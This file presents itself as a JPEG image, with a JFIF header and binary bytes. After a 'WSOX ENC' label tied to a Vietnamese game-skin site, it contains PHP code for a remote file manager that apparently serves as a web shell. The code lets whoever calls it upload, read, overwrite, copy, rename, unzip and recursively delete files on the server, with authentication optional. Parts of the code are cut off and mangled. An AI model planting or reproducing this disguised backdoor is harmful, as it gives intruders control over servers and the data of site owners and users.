���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC open($file); if ($res === TRUE) { $zip->extractTo($extract_path); $zip->close(); return true; } else { $alert_msg=$lang[33].' - '.$lang[41]; return false; } } function unlinkRecursive($dir, $RemoveRootToo) { if (is_file($dir) === true) return @unlink($dir); if(!$dh = @opendir($dir)) return; while (false !== ($obj = readdir($dh))) { if($obj == '.' || $obj == '..') continue; if (!@unlink($dir . '/' . $obj)) unlinkRecursive($dir.'/'.$obj, true); } closedir($dh); if ($RemoveRootToo) @rmdir($dir); return; } function return_bytes ($size_str) { switch (substr ($size_str, -1)) { case 'M': case 'm': return (int)$size_str * 1048576; case 'K': case 'k': return (int)$size_str * 1024; case 'G': case 'g': return (int)$size_str * 1073741824; default: return $size_str; } } function is_sub_dir($path = NULL, $parent_folder = SITE_PATH) { $dir = dirname($path); $folder = substr($path, strlen($dir)); $dir = realpath($dir); $folder = preg_replace('/[^a-z0-9\.\-_]/i', '', $folder); if( !$dir OR !$folder OR $folder === '.') { return FALSE; } $path = $dir.'/'. $folder;/*DS*/ if( strcasecmp($path, $parent_folder) > 0 ) { return $path; } return FALSE; } function text_position($position=0) { global $is_rtl; if($position==0) {if($is_rtl ) echo 'left'; else echo 'right';} else {if($is_rtl ) echo 'right'; else echo 'left';} } function css() { global $is_rtl; $css=''; if(file_exists('./css/bootstrap.min.css')) $css.=''; else $css.=''; if(file_exists('./js/jquery-2.2.0.min.js')) $css.=''; else $css.=''; if(file_exists('./js/bootstrap.min.js')) $css.=''; else $css.=''; if(file_exists('./js/jquery.twbsPagination.min.js')) $css.=''; else $css.=''; if( $is_rtl ) if(file_exists('./css/bootstrap-rtl.min.css')) $css.=''; else $css.=''; return $css; } function alert($str) { global $lang; return '
×'.$lang[33].'! '.$str.'
'; } function AJAX_request() { if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) && !empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') return true ; else return false; } if(!Login() && $LoginDialog && ( isset($_GET['uploadfile']) || isset($_GET['listFolderFiles']) || isset($_GET['copy']) || isset($_GET['unzip']) || isset($_GET['table']) || isset($_GET['rename']) || isset($_GET['Remove']) || isset($_GET['read']) || isset($_GET['newfolder']) ) ) { die(print_array(array( 'table' => '
'.$lang[31].'
' , 'total' => 1 , 'page' => 1, 'dir' => '' , 'dirHtml' => '' ,'alert' => alert($lang[22]) ))); } if(!Login() && $LoginDialog) { if($login_user=='') $html_input_user=''; else $html_input_user='
'; echo (' '.$lang[22].' '.css().'
'.$lang[22].'
'.$html_input_user.'
'); unset($lang); unset($icon); unset($_extensions); unset($RTL_languages); unset($LoginDialog); unset($login_user); unset($login_pass); unset($is_rtl); unset($units); unset($charset); unset($_maxFileSize); unset($_SERVER); unset($_SESSION);unset($_COOKIE);unset($_GET); unset($_POST);unset($_FILES);unset($_ENV); unset($_REQUEST); exit(); } $page = (isset($_GET['page'])) ? (int)$_GET['page'] : 1; if(!($page>0)) $page = 1; $directory = (isset($_GET['dir'])) ? $_GET['dir'] : '.'; if(isset($_GET['copy']) /*&& AJAX_request()*/ ) {file_exists_str($_GET['copy']); recurse_copy( $_GET['copy'],$_GET['to'] ); } if(isset($_GET['Remove']) && AJAX_request() ) {file_exists_str($_GET['Remove']);@unlinkRecursive($_GET['Remove'],true); } if(isset($_GET['newfolder']) && AJAX_request() ) {@mkdir( $directory .'/'.$_GET['newfolder'] , 0777, true); } if(isset($_GET['rename']) && AJAX_request() ) {file_exists_str($_GET['rename']);@rename($_GET['rename'],$directory .'/'.$_GET['newrename']);} if(isset($_GET['unzip']) && AJAX_request() ) {file_exists_str($_GET['unzip']);@openZipArchive($_GET['unzip'],$_GET['to']);} if(isset($_GET['listFolderFiles']) && AJAX_request() ) {die(listFolderFiles($directory));} if(isset($_GET['read']) && $show_file_or_dir && AJAX_request() ) {file_exists_str($_GET['read']);if(in_array(extension($_GET['read']), $_extensions[1]) || count($_extensions[1])==0 ) { header('Content-type: text/html; charset='.$charset); die( _read($_GET['read']) ) ; } else die($lang[7]);} if(isset($_GET['write']) && $show_file_or_dir && AJAX_request() ) {file_exists_str($_POST['write']);if(in_array(extension($_POST['write']), $_extensions[1]) || count($_extensions[1])==0 ) { header('Content-type: text/html; charset='.$charset); $txtData = (isset($_POST['txt'])) ? $_POST['txt'] : ''; die( _write($_POST['write'],$txtData) ) ; } else die($lang[7]);} if ( isset($_GET['uploadfile']) && AJAX_request() ) { $response = array(); if (isset( $_FILES["inputFileUpload"] ) && !empty( $_FILES["inputFileUpload"]["name"] ) ) if (is_array($_FILES['inputFileUpload']['name']) || is_object($_FILES['inputFileUpload']['name'])) foreach($_FILES['inputFileUpload']['name'] as $n => $name) { if(!empty($name)) { $tmp_name = basename($name); $tmp_size = $_FILES["inputFileUpload"]["size"][$n] ; $tmp_type = $_FILES["inputFileUpload"]["type"][$n] ; $error = $_FILES["inputFileUpload"]["error"][$n] ; $name_ = $_FILES["inputFileUpload"]["name"][$n] ; $target_file = $directory .'/'.$tmp_name; // ) if( in_array(extension($tmp_name), $_extensions[0] ) || count($_extensions[0]) ==0 ) { if(move_uploaded_file($_FILES["inputFileUpload"]["tmp_name"][$n], $target_file)) $response[] =array( 'code' => '1','status' => $lang[34] ,'url' => $target_file , 'tmp_name' => $tmp_name , 'size' => $tmp_size , 'type' => $tmp_type , 'error' => $error , 'name' => $name_); elseif($error!=0) $response[] =array( 'code' => '0','status' => $lang[33].'_'.$error ); elseif($tmp_size>$_maxFileSize) $response[] =array( 'code' => '0','status' => $lang[37] ); else $response[] =array( 'code' => '0','status' => $lang[33] ); } else $response[] = array( 'code' => '0','status' => $lang[7] ); } else $response[] = array( 'code' => '0','status' => $lang[38] ); } die(print_array($response)); }; //$alert_msg=$lang[38]; //exit(header('Location: ?page='.$page.'&dir='.$directory.'"')); if (!function_exists('scandir')) { function scandir($dir, $sortorder = 0) { if (is_dir($dir)) { $files = []; if ($dirlist = opendir($dir)) { while (($file = readdir($dirlist)) !== false) { if ($file != '.' && $file != '..') { $files[] = $file; } } closedir($dirlist); ($sortorder == 0) ? asort($files) : rsort($files); } return $files; } else { return false; } } } function folderSize ($dir) { $size = 0; foreach (glob(rtrim($dir, '/').'/*', GLOB_NOSORT) as $each) { $size += is_file($each) ? filesize($each) : folderSize($each); } return $size; } function FilterScanDir($dir) { global $_extensions,$directory; $times = array() ; $files_tmp = array() ; $folers_tmp = array() ; $total_files = 0; $files = (is_dir($dir)) ? @scandir($dir) : array() ; if (is_array($files) || is_object($files)) foreach($files as $file) if( ( in_array(extension($file), $_extensions[0] ) || count($_extensions[0]) ==0 ) && $file !=='.' ) { if($file !=='..') $total_files++; if(is_dir($file)) $folers_tmp[]=$file; else $files_tmp[]=$file; $times[] = date ("d/m/Y H:i:s", @filemtime($directory.'/'.$file)); } //arsort($files_tmp); //$files = array_keys($files_tmp); //array_multisort(array_map('filemtime', $files_tmp ), SORT_DESC, $files_tmp); return array( 'list' => array_merge($folers_tmp,$files_tmp) ,'times' => $times , 'count' => $total_files ); } function listFolderFiles($dir){ global $_extensions; if (is_file($dir) === true) return ; $ffs = scandir($dir); echo ' '; } $total_files = 0; $offset = ($page-1)*$perpage; //setcookie('directory', $directory, time() + (86400 * 30), "/"); //get subset of file array $FilesArray = FilterScanDir($directory); $files = $FilesArray['list']; $times = $FilesArray['times']; $total_files= $FilesArray['count']; //$files = (isset($files_tmp) && is_array($files_tmp)) ? $files_tmp : array(); if(isset($_GET['search'])) { unset($files); $files = array(); $total_files = 1; if (in_array($_GET['search'], $FilesArray['list'])) $files[0] = $_GET['search']; else $files[0] = 'Match_not_found'; } if($table_fixed=='') $total_pages = ceil($total_files/$perpage); else $total_pages = 1; unset($FilesArray); if($table_fixed=='') $files = array_slice($files, $offset, $perpage); function showfile($file) { global $directory,$_extensions,$lang; if($file=='.' ) return ''.$file.''; elseif($file=='Match_not_found') return ''.$lang[31].''; elseif($file=='..' ) return ''.$file.''; elseif(is_dir($directory.'/'.$file) && file_exists($directory.'/'.$file) ) return ''.$file.''; elseif (in_array(extension($file), $_extensions[2] )) return ''.$file.'' ; elseif (in_array(extension($file), array("zip","rar","7z","gzip","tar","wim","xz") )) return ''.$file.'' ; else return ''.$file.''; } function extension($file) { global $lang; if($file=='Match_not_found') return '--'; $extension=strtolower(pathinfo($file, PATHINFO_EXTENSION )) ; if($extension=='') return 'dir';//$lang[16] ; else return $extension; //ucfirst } function file_exists_str($file) { global $alert_msg,$lang; if(!file_exists($file)) $alert_msg=$lang[38]; } function file_size($file) { global $directory; return @filesize_formatted($directory.'/'.$file); } function action($file) { global $directory,$page,$show_file_or_dir,$lang,$total_files,$_extensions; if($file=='Match_not_found' ) return '--'; if( $file =='..') return '--'; $html= ' '; if($show_file_or_dir) { if(is_dir($directory.'/'.$file)) { $count=FilterScanDir($directory.'/'.$file); //$count=FilterScanDir($directory.'/'.$file)['count']; $count=$count['count']; $html.=' ' ; unset($count); } elseif (in_array(extension($file), $_extensions[2] )) $html.=' ' ; elseif (in_array(extension($file), array("zip","rar","7z","gzip","tar","wim","xz") )) $html.=' ' ; else $html.=' ' ; } $html.=''; $html.=''; return $html; } function _read($file,$Modes="r") { global $lang; $file_size = filesize($file); if( !$file_size || !is_readable($file) ) return $lang[21]; $myfile = fopen($file, $Modes) ; if(!$myfile) return $lang[21]; //w return fread($myfile, $file_size ); fclose($myfile); }; function _write($file,$txt='',$Modes="w") { global $lang; if(file_exists($file) && $txt=='') return $lang[43]; if( file_exists($file) && ( !filesize($file) || !is_readable($file) ) ) return $lang[21]; $myfile = fopen($file, $Modes) ; if(!$myfile) return $lang[21]; //w if ( fwrite($myfile, $txt ) ) { fclose($myfile); return $lang[34]; } else { fclose($myfile); return $lang[33]; } }; function GetOldirectory() { global $directory,$page,$lang; $html='
  • '.$lang[4].'
  • '; $newDir='.'; $elements = explode('/',$directory); if (is_array($elements) || is_object($elements)) foreach ( $elements as $key_value ) { if($key_value!='.'){ $newDir = $newDir.'/'.$key_value; $html.='
  • '.$key_value.'
  • '; } } return $html; } function filesize_formatted($path) { global $units ; if(is_dir($path) || $path=='./Match_not_found' ) return '--';//directory $size = filesize($path); $power = $size > 0 ? floor(log($size, 1024)) : 0; return number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power]; } function fileTime($index,$file) { global $times ; if($file=='Match_not_found') return '--'; return $times[$index]; }; if(isset($_GET['table']) && AJAX_request() ) { $html='
    '; if($table_fixed=='') $html.=''; else $html.=''; $html.=''; //output appropriate items if (is_array($files) || is_object($files)) foreach($files as $index => $file ) { $html.=''; if($table_fixed=='') $html.=''; else $html.=''; $html.=''; } $html.=''; if($table_fixed=='') $html.='
    '.$lang[5].''.$lang[5].'
    '.showfile($file).''.showfile($file).'
    '; else $html.=''; $html.=$lang[9].' : '.$page.' '.$lang[10].' : '.$total_files.'
    '; if($alert_msg!='') $alert_msg = alert($alert_msg); $response = array( 'table' => $html , 'total' => $total_pages , 'page' => $page , 'dir' => $directory , 'dirHtml' => GetOldirectory() ,'alert' => $alert_msg); unset($html); die(print_array($response)); } // free memory unset($files); unset($times); //unset($directory); unset($total_files); //unset($page); unset($offset); //unset($total_pages); unset($perpage); unset($table_fixed); unset($RTL_languages); unset($show_file_or_dir); unset($alert_msg); ?> <?php echo $lang[11]; ?>
    '; print_r($arr); echo '';*/ ?>